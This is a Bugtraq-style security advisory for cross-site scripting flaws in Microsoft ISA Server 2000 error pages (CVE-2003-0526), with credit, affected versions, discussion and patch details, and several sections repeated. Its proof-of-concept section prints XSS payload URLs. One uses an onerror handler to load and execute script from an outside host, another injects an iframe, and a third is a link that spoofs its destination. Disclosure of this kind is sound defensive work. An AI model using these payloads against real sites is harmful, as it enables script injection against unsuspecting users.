Microsoft ISA Server Cross-Site Scripting Vulnerabilities
BID:8207
Info
Microsoft ISA Server Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 8207 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-0526 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 16 2003 12:00AM |
| Updated: | Jul 11 2009 10:56PM |
| Credit: | Discovery credited to Brett Moore of Security-Assessment.com. |
| Vulnerable: |
Microsoft ISA Server 2000 SP1 Microsoft ISA Server 2000 FP1 Microsoft ISA Server 2000 |
| Not Vulnerable: | |
Discussion
Microsoft ISA Server Cross-Site Scripting Vulnerabilities
ISA server will output certain error pages when requests that are invalid, for whatever reason, are transmitted through it. These error pages will appear in the context of the domain that the request was made for. It has been reported that many of these error pages contain cross-site scripting vulnerabilities that allow for the execution of script code (embedded in the request URI) in the context of client requested domains.
This vulnerability is reportedly similar to the one described in BID 4486.
ISA server will output certain error pages when requests that are invalid, for whatever reason, are transmitted through it. These error pages will appear in the context of the domain that the request was made for. It has been reported that many of these error pages contain cross-site scripting vulnerabilities that allow for the execution of script code (embedded in the request URI) in the context of client requested domains.
This vulnerability is reportedly similar to the one described in BID 4486.
Exploit / POC
Microsoft ISA Server Cross-Site Scripting Vulnerabilities
The following proof-of-concept was provided:
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">[email protected]/%U0
The above proof-of-concept will include and execute http://jscript.dk/test.js on YOUR.TLD, this is provided that YOUR.TLD is protected by an ISA Server installation.
*http://<iframe>:test@[site]/test
The exploit provided for BID 4486 will also reportedly work for this vulnerability.
An additional proof-of-concept was supplied by "[email protected]" <[email protected]> that demonstrates a true status and a false destination:
<A href="http://www.example.com%09%09%09@%09%09%09%09%09%09
09www.malware.com">http://www.example.com</A>
The following proof-of-concept was provided:
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">[email protected]/%U0
The above proof-of-concept will include and execute http://jscript.dk/test.js on YOUR.TLD, this is provided that YOUR.TLD is protected by an ISA Server installation.
*http://<iframe>:test@[site]/test
The exploit provided for BID 4486 will also reportedly work for this vulnerability.
An additional proof-of-concept was supplied by "[email protected]" <[email protected]> that demonstrates a true status and a false destination:
<A href="http://www.example.com%09%09%09@%09%09%09%09%09%09
09www.malware.com">http://www.example.com</A>
Solution / Fix
Microsoft ISA Server Cross-Site Scripting Vulnerabilities
Solution:
Microsoft has released a patch:
Microsoft ISA Server 2000 FP1
Microsoft ISA Server 2000 SP1
Solution:
Microsoft has released a patch:
Microsoft ISA Server 2000 FP1
-
Microsoft ISA2000-KB816456
There are links to several internationalized versions of this patch. To be applied to ISA Server 2000 SP1 or ISA Server 2000 with FP1.
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/sec urity/bulletin/MS03-028.asp
Microsoft ISA Server 2000 SP1
-
Microsoft ISA2000-KB816456
There are links to several internationalized versions of this patch. To be applied to ISA Server 2000 SP1 or ISA Server 2000 with FP1.
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/sec urity/bulletin/MS03-028.asp